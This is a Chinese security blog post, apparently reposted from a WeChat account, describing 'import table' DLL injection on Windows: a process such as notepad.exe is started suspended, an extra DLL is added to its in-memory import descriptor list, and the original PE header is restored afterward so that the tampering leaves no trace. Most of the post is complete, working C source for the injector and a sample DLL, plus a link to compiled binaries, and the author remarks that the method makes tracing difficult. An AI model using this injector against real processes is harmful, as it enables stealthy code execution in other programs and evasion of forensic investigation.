动态添加导入表,花式DLL注入

admin 2023年1月25日23:58:02程序逆向评论1 views12177字阅读40分35秒阅读模式

        以前看过在静态EXE文件中添加导入表来载入dll,但缺点明显,对EXE文件修改了。近日看到老外一篇文章中描述的一个方法,挺有思路挺有意思,介绍给大家。原理是:在启动一个EXE文件时动态地将dll的导出表添加到此EXE的导入表链中,从而在EXE启动的同时优先将dll载入的过程,优点是不修改EXE,有人称这是dll的另类花式注入。即:主程序ImportDllInjection在挂起状态下启动notepad.EXE,修改内存中的IAT表以包含额外的dll1.DLL,然后继续执行;完成注入目标dll1.DLL文件。


一、工作原理/步骤

1. 使用带有CREATE_SUSPENDED标志的CreateProcess创建目标EXE进程的挂起实例;

2.使用NtQueryInformationProcess计算目标EXE的基地址读取目标进程PEB地址,并使用ReadProcessMemoryImageBaseAddress字段值;

3. 使用ReadProcessMemory从目标进程读取主PE(IMAGE_NT_HEADERS) ;

4. 存储未修改的IMAGE_NT_HEADERS结构的副本以备后用;

5. 将额外的DLL条目添加到PE头中的导入描述符列表 (ImageNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] )。目标进程中还需要分配模块路径、导入查找表和导入地址表;

6. 使用WriteProcessMemory将更新的PE头写回目标进程;

7. 使用ResumeThread恢复目标进程执行;

8.在循环中使用ReadProcessMemory读取注入的DLL的新导入地址表,等待目标进程更新单个导入的地址(序号#1);

 9. DLL现已注入目标进程。释放任何临时内存并从步骤#4恢复原始PE头。这是有效的,因为新创建的挂起进程只有ntdll.dll。

注意:最初加载 - 这意味着我们可以在加载剩余的DLL之前在内存中操作导入表。

这种方法的主要缺点是它只能用于将 DLL 注入新进程。无法使用此方法注入已在运行的进程,因为导入描述符列表仅在进程首次启动时处理。另一个小缺点是目标
DLL需要导出至少一个函数。Windows不会加载具有空白导入查找表的导入DLL,因此我在导入序号#1的查找表中添加了一个条目。此导出条目必须存在于目标DLL中,否则目标进程将无法启动。我将在本文末尾包含示例DLL的代码。

不能保证在现有
PE头数据中有足够的空间来添加额外的模块条目。为了解决这个问题,我将现有的导入描述符列表复制到我在内存中分配的更大的缓冲区,然后新的DLL被附加到这个列表中,VirtualAddressSize字段用于IMAGE_DIRECTORY_ENTRY_IMPORT更新为指向新列表。

成功注入后恢复原始
PE头可消除任何篡改证据。但是,目标DLL不会以任何方式隐藏 - 它会以与任何其他合法加载的DLL相同的方式在内存中公开可见。


二、实现源代码

使用方法:ImportDllInjection.exe notepad.exe dll1.dll

#include <stdio.h> #include <windows.h> DWORD (WINAPI *NtQueryInformationProcess)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, DWORD ProcessInformationLength, DWORD *ReturnLength); struct PROCESS_BASIC_INFORMATION { DWORD ExitStatus; void *PebBaseAddress; DWORD AffinityMask; DWORD BasePriority; DWORD UniqueProcessId; DWORD InheritedFromUniqueProcessId; }; DWORD LaunchTargetProcess(char *pExePath, HANDLE *phProcess, HANDLE *phProcessMainThread) { PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; // initialise startup data memset((void*)&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = sizeof(StartupInfo); printf("Launching target process...n"); // create target process (suspended) memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo)); if(CreateProcess(NULL, pExePath, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo) == 0) { return 1; } // store handles *phProcess = ProcessInfo.hProcess; *phProcessMainThread = ProcessInfo.hThread; return 0; } DWORD InjectDll(HANDLE hProcess, HANDLE hProcessMainThread, char *pDllPath) { IMAGE_DOS_HEADER ImageDosHeader; IMAGE_NT_HEADERS ImageNtHeader; IMAGE_NT_HEADERS ImageNtHeader_Original; PROCESS_BASIC_INFORMATION ProcessBasicInfo; DWORD dwExeBaseAddrPebPtr = 0; DWORD dwExeBaseAddr = 0; DWORD dwNtHeaderAddr = 0; DWORD dwDllPathLength = 0; void *pRemoteAlloc_DllPath = NULL; void *pRemoteAlloc_ImportLookupTable = NULL; void *pRemoteAlloc_ImportAddressTable = NULL; void *pRemoteAlloc_NewImportDescriptorList = NULL; DWORD dwImportLookupTable[2]; DWORD dwExistingImportDescriptorEntryCount = 0; DWORD dwNewImportDescriptorEntryCount = 0; BYTE *pNewImportDescriptorList = NULL; IMAGE_IMPORT_DESCRIPTOR NewDllImportDescriptors[2]; DWORD dwExistingImportDescriptorAddr = 0; BYTE *pCopyImportDescriptorDataPtr = NULL; DWORD dwNewImportDescriptorListDataLength = 0; DWORD dwOriginalProtection = 0; DWORD dwOriginalProtection2 = 0; DWORD dwCurrentImportAddressTable[2]; printf("Reading image base address from PEB...n"); // get process info memset(&ProcessBasicInfo, 0, sizeof(ProcessBasicInfo)); if(NtQueryInformationProcess(hProcess, 0, &ProcessBasicInfo, sizeof(ProcessBasicInfo), NULL) != 0) { return 1; } // get target exe base address from PEB dwExeBaseAddrPebPtr = (DWORD)ProcessBasicInfo.PebBaseAddress + 8; if(ReadProcessMemory(hProcess, (void*)dwExeBaseAddrPebPtr, (void*)&dwExeBaseAddr, sizeof(DWORD), NULL) == 0) { return 1; } printf("Reading PE headers...n"); // read PE header from target process memset((void*)&ImageDosHeader, 0, sizeof(ImageDosHeader)); if(ReadProcessMemory(hProcess, (void*)dwExeBaseAddr, (void*)&ImageDosHeader, sizeof(ImageDosHeader), NULL) == 0) { return 1; } // read NT header from target process dwNtHeaderAddr = dwExeBaseAddr + ImageDosHeader.e_lfanew; memset((void*)&ImageNtHeader, 0, sizeof(ImageNtHeader)); if(ReadProcessMemory(hProcess, (void*)dwNtHeaderAddr, (void*)&ImageNtHeader, sizeof(ImageNtHeader), NULL) == 0) { return 1; } // save a copy of the original NT header memcpy((void*)&ImageNtHeader_Original, (void*)&ImageNtHeader, sizeof(ImageNtHeader_Original)); // calculate dll path length dwDllPathLength = strlen(pDllPath) + 1; // allocate buffer for the dll path in the remote process pRemoteAlloc_DllPath = VirtualAllocEx(hProcess, NULL, dwDllPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if(pRemoteAlloc_DllPath == NULL) { return 1; } // write dll path to remote process buffer if(WriteProcessMemory(hProcess, (void*)pRemoteAlloc_DllPath, pDllPath, dwDllPathLength, NULL) == 0) { return 1; } // set import lookup table values (import ordinal #1) dwImportLookupTable[0] = 0x80000001; dwImportLookupTable[1] = 0; // allocate buffer for the new import lookup table in the remote process pRemoteAlloc_ImportLookupTable = VirtualAllocEx(hProcess, NULL, sizeof(dwImportLookupTable), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if(pRemoteAlloc_ImportLookupTable == NULL) { return 1; } // write import lookup table to remote process buffer if(WriteProcessMemory(hProcess, (void*)pRemoteAlloc_ImportLookupTable, (void*)dwImportLookupTable, sizeof(dwImportLookupTable), NULL) == 0) { return 1; } // allocate buffer for the new import address table in the remote process pRemoteAlloc_ImportAddressTable = VirtualAllocEx(hProcess, NULL, sizeof(dwImportLookupTable), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if(pRemoteAlloc_ImportAddressTable == NULL) { return 1; } // write import address table to remote process buffer (initially the same values as the import lookup table) if(WriteProcessMemory(hProcess, (void*)pRemoteAlloc_ImportAddressTable, (void*)dwImportLookupTable, sizeof(dwImportLookupTable), NULL) == 0) { return 1; } // set import descriptor values for injected dll NewDllImportDescriptors[0].OriginalFirstThunk = (DWORD)pRemoteAlloc_ImportLookupTable - dwExeBaseAddr; NewDllImportDescriptors[0].TimeDateStamp = 0; NewDllImportDescriptors[0].ForwarderChain = 0; NewDllImportDescriptors[0].Name = (DWORD)pRemoteAlloc_DllPath - dwExeBaseAddr; NewDllImportDescriptors[0].FirstThunk = (DWORD)pRemoteAlloc_ImportAddressTable - dwExeBaseAddr; // end of import descriptor chain NewDllImportDescriptors[1].OriginalFirstThunk = 0; NewDllImportDescriptors[1].TimeDateStamp = 0; NewDllImportDescriptors[1].ForwarderChain = 0; NewDllImportDescriptors[1].Name = 0; NewDllImportDescriptors[1].FirstThunk = 0; // calculate existing number of imported dll modules dwExistingImportDescriptorEntryCount = ImageNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size / sizeof(IMAGE_IMPORT_DESCRIPTOR); if(dwExistingImportDescriptorEntryCount == 0) { // the target process doesn't have any imported dll entries - this is highly unusual but not impossible dwNewImportDescriptorEntryCount = 2; } else { // add one extra dll entry dwNewImportDescriptorEntryCount = dwExistingImportDescriptorEntryCount + 1; } // allocate new import description list (local) dwNewImportDescriptorListDataLength = dwNewImportDescriptorEntryCount * sizeof(IMAGE_IMPORT_DESCRIPTOR); pNewImportDescriptorList = (BYTE*)malloc(dwNewImportDescriptorListDataLength); if(pNewImportDescriptorList == NULL) { return 1; } if(dwExistingImportDescriptorEntryCount != 0) { // read existing import descriptor entries dwExistingImportDescriptorAddr = dwExeBaseAddr + ImageNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; if(ReadProcessMemory(hProcess, (void*)dwExistingImportDescriptorAddr, pNewImportDescriptorList, dwExistingImportDescriptorEntryCount * sizeof(IMAGE_IMPORT_DESCRIPTOR), NULL) == 0) { free(pNewImportDescriptorList); return 1; } } // copy the new dll import (and terminator entry) to the end of the list pCopyImportDescriptorDataPtr = pNewImportDescriptorList + dwNewImportDescriptorListDataLength - sizeof(NewDllImportDescriptors); memcpy(pCopyImportDescriptorDataPtr, (void*)NewDllImportDescriptors, sizeof(NewDllImportDescriptors)); // allocate buffer for the new import descriptor list in the remote process pRemoteAlloc_NewImportDescriptorList = VirtualAllocEx(hProcess, NULL, dwNewImportDescriptorListDataLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if(pRemoteAlloc_NewImportDescriptorList == NULL) { free(pNewImportDescriptorList); return 1; } // write new import descriptor list to remote process buffer if(WriteProcessMemory(hProcess, (void*)pRemoteAlloc_NewImportDescriptorList, pNewImportDescriptorList, dwNewImportDescriptorListDataLength, NULL) == 0) { free(pNewImportDescriptorList); return 1; } // free local import descriptor list buffer free(pNewImportDescriptorList); printf("Updating PE headers...n"); // change the import descriptor address in the remote NT header to point to the new list ImageNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = (DWORD)pRemoteAlloc_NewImportDescriptorList - dwExeBaseAddr; ImageNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = dwNewImportDescriptorListDataLength; // make NT header writable if(VirtualProtectEx(hProcess, (LPVOID)dwNtHeaderAddr, sizeof(ImageNtHeader), PAGE_EXECUTE_READWRITE, &dwOriginalProtection) == 0) { return 1; } // write updated NT header to remote process if(WriteProcessMemory(hProcess, (void*)dwNtHeaderAddr, (void*)&ImageNtHeader, sizeof(ImageNtHeader), NULL) == 0) { return 1; } printf("Resuming process...n"); // resume target process execution ResumeThread(hProcessMainThread); printf("Waiting for target DLL...n"); // wait for the target process to load the DLL for(;;) { // read the IAT table for the injected DLL memset((void*)dwCurrentImportAddressTable, 0, sizeof(dwCurrentImportAddressTable)); if(ReadProcessMemory(hProcess, (void*)pRemoteAlloc_ImportAddressTable, (void*)dwCurrentImportAddressTable, sizeof(dwCurrentImportAddressTable), NULL) == 0) { return 1; } // check if the IAT table has been processed if(dwCurrentImportAddressTable[0] == dwImportLookupTable[0]) { // IAT table for injected DLL not yet processed - try again in 100ms Sleep(100); continue; } // DLL has been loaded by target process break; } printf("Restoring original PE headers...n"); // restore original NT headers in target process if(WriteProcessMemory(hProcess, (void*)dwNtHeaderAddr, (void*)&ImageNtHeader_Original, sizeof(ImageNtHeader), NULL) == 0) { return 1; } // restore original protection value for remote NT headers if(VirtualProtectEx(hProcess, (LPVOID)dwNtHeaderAddr, sizeof(ImageNtHeader), dwOriginalProtection, &dwOriginalProtection2) == 0) { return 1; } // free temporary memory in remote process VirtualFreeEx(hProcess, pRemoteAlloc_DllPath, 0, MEM_RELEASE); VirtualFreeEx(hProcess, pRemoteAlloc_ImportLookupTable, 0, MEM_RELEASE); VirtualFreeEx(hProcess, pRemoteAlloc_ImportAddressTable, 0, MEM_RELEASE); VirtualFreeEx(hProcess, pRemoteAlloc_NewImportDescriptorList, 0, MEM_RELEASE); return 0; } int main(int argc, char *argv[]) { HANDLE hProcess = NULL; HANDLE hProcessMainThread = NULL; char *pExePath = NULL; char *pInjectDllPath = NULL; char szInjectDllFullPath[512]; printf("ImportDLLInjection - www.x86matthew.comnn"); if(argc != 3) { printf("Usage: %s [exe_path] [inject_dll_path]nn", argv[0]); return 1; } // get params pExePath = argv[1]; pInjectDllPath = argv[2]; // get full path from dll filename memset(szInjectDllFullPath, 0, sizeof(szInjectDllFullPath)); if(GetFullPathName(pInjectDllPath, sizeof(szInjectDllFullPath) - 1, szInjectDllFullPath, NULL) == 0) { printf("Invalid DLL pathn"); return 1; } // get NtQueryInformationProcess function ptr NtQueryInformationProcess = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess"); if(NtQueryInformationProcess == NULL) { printf("Failed to find NtQueryInformationProcess functionn"); return 1; } // launch target process if(LaunchTargetProcess(pExePath, &hProcess, &hProcessMainThread) != 0) { printf("Failed to launch target processn"); return 1; } // inject DLL into target process if(InjectDll(hProcess, hProcessMainThread, szInjectDllFullPath) != 0) { printf("Failed to inject DLLn"); // error TerminateProcess(hProcess, 0); CloseHandle(hProcessMainThread); CloseHandle(hProcess); return 1; } printf("Finishedn"); // close handles CloseHandle(hProcessMainThread); CloseHandle(hProcess); return 0; }

dll1.dll源代码:

#include <stdio.h> #include <windows.h> // a blank exported function - this will be ordinal #1 __declspec(dllexport) void __cdecl ExportedFunction(void) { } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if(fdwReason == DLL_PROCESS_ATTACH) { // display a message box MessageBox(NULL, "MessageBox from injected DLL", "www.x86matthew.com", MB_OK); }    return 1; }

三、编译好的下载地址:

链接:https://pan.baidu.com/s/1ot8Ih3iY67dKCrZ28v8A2Q 

提取码:lttk 


四、感想

作为一种想法,有它的优点和缺点,但确实敢想敢干(实现了);作为一种方法思路,在注入完成后又恢复了原状,而且是在正规进程下(这里是notepad.exe)调用的dll,如果不了解这种方法,会百思不得其解,对溯源(ImportDllInjection)是个很大问题。第三,让我们清晰地认识到导入表是优于主程序的运行,更加重视导入表。



原文始发于微信公众号(MicroPest):动态添加导入表,花式DLL注入

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月25日23:58:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  动态添加导入表,花式DLL注入 http://cn-sec.com/archives/1525810.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: